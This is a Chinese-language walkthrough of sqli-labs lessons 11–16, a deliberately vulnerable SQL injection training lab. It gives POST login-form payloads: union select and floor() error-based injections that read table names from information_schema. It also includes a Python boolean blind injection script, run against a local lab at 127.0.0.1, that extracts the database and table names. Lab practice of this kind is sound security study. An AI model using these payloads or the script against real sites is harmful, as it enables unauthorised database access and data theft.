Less 11-16
Less 11 POST - Error Based - Single quotes- String
这一关页面发生了变化,开始使用post方法传递参数。
在Username字段输入1'
,查看错误信息。
错误信息中发现password字段,基本可以确认这两个字段在同一个sql语句中联合查询。
使用order by注入测试返回的参数为几列。
测试到3时报错,证明返回两列。
注意,这里的注释使用的是--
(两个减号一个空格),而不是之前的--+
。之前也提到使用加号是因为在某些http实现时会将加号转变为空格。这里使用#
进行注释也是一样的。
使用union select注入查询数据库名,数据库中表名。
-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema='security' --
这里也返回报错信息,因此使用floor()
、updatexml()
、extractvalue()
函数进行报错注入同样是可以的。
使用floor()
报错查询数据库名
-1' union select count(*),concat(database(),floor(rand(0)*2))a from information_schema.tables group by a --
Less 12 POST - Error Based - Double quotes- String- with twist
这一关与第十一关类似,只是闭合方式变为了")
。
Less 13 POST - Double Injection - Single quotes- String- With twist
这一关与前两关区别在于不显示查询信息了,但依旧显示错误信息。可以用错误注入,同时闭合方式变为了')
,其他没有区别。
Less 14 POST - Double Injection - Single quotes- String-With twist
与第十三关类似,只是闭合方式改为了"
,其他没区别。
Less 15 POST - Blind- Boolian/time Based - Single quotes
这一关使用bool型盲注,稍微改一下使用get方法进行盲注的脚本
from lxml import html
import requests
def getCheck(url,xpath,payload):
data={
"uname":payload,
"passwd":"1",
"submit":"Submit"
}
r = requests.post(url,data = data)
tree=html.fromstring(r.text)
check=tree.xpath(xpath)
if(check[0]=='../images/flag.jpg'):
return 1
else:
return 0
def database_length(url,xpath):
length=0
for i in range(1,30):
payload="'or length((select database()))<%s #"%i
check=getCheck(url,xpath,payload)
if(check):
break
else:
length+=1
print('Database length:'+str(length))
return length
def database_name(url,xpath,dbl):
dbname=''
for i in range(1,dbl+1):
for j in range(97,123):
payload="-1'or ascii(substr((select database()),%s,1))=%s-- "%(i,j)
check=getCheck(url,xpath,payload)
if(check):
# print(chr(j))
dbname+=chr(j)
print('database name:'+str(dbname))
return dbname
def database_table(url,xpath,dbname):
tablenum=0
for i in range(0,10000):
payload="'or length((select group_concat(table_name) from information_schema.tables where table_schema='%s'))<%s-- "%(dbname,i)
check=getCheck(url,xpath,payload)
if(check):
tablenum=i
break
dbtables=''
for i in range(1,tablenum+1):
for j in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
payload="'or substr((select group_concat(table_name) from information_schema.tables where table_schema='%s'),%s,1)='%s'-- "%(dbname,i,j)
check=getCheck(url,xpath,payload)
if(check):
dbtables+=j
break
return dbtables
if __name__=='__main__':
url="http://127.0.0.1/Less-15/"
xpath="/html/body/div[3]/font/font/img/@src"
dbl=database_length(url,xpath)
dbname=database_name(url,xpath,dbl)
dbtables=database_table(url,xpath,dbname)
print("tables:"+str(dbtables))
这里主要改动的是getCheck()
函数,还有每次注入的payload语句,总体思路没什么变化,仍然是按位查询出结果。
def getCheck(url,xpath,payload):
data={
"uname":payload,
"passwd":"1",
"submit":"Submit"
}
r = requests.post(url,data = data)
tree=html.fromstring(r.text)
check=tree.xpath(xpath)
if(check[0]=='../images/flag.jpg'):
return 1
else:
return 0
在getCheck()
函数中,主要从原来的get方法改为了post方法,并且当输入值为真时,页面上返回的是flag.jpg
图片,否则显示的是slap.jpg
图片。通过返回图片的不同来判断传入的表达式是否为真。
为假时页面显示结果。
为真时页面显示结果。
脚本运行结果
Less 16 POST - Blind- Boolian/Time Based - Double quotes
这一关与第15关类似,只是将闭合方式改为了”)
,其他没有区别,只需将上一关脚本注入语句中的闭合用'
改掉,这一关依然可以用。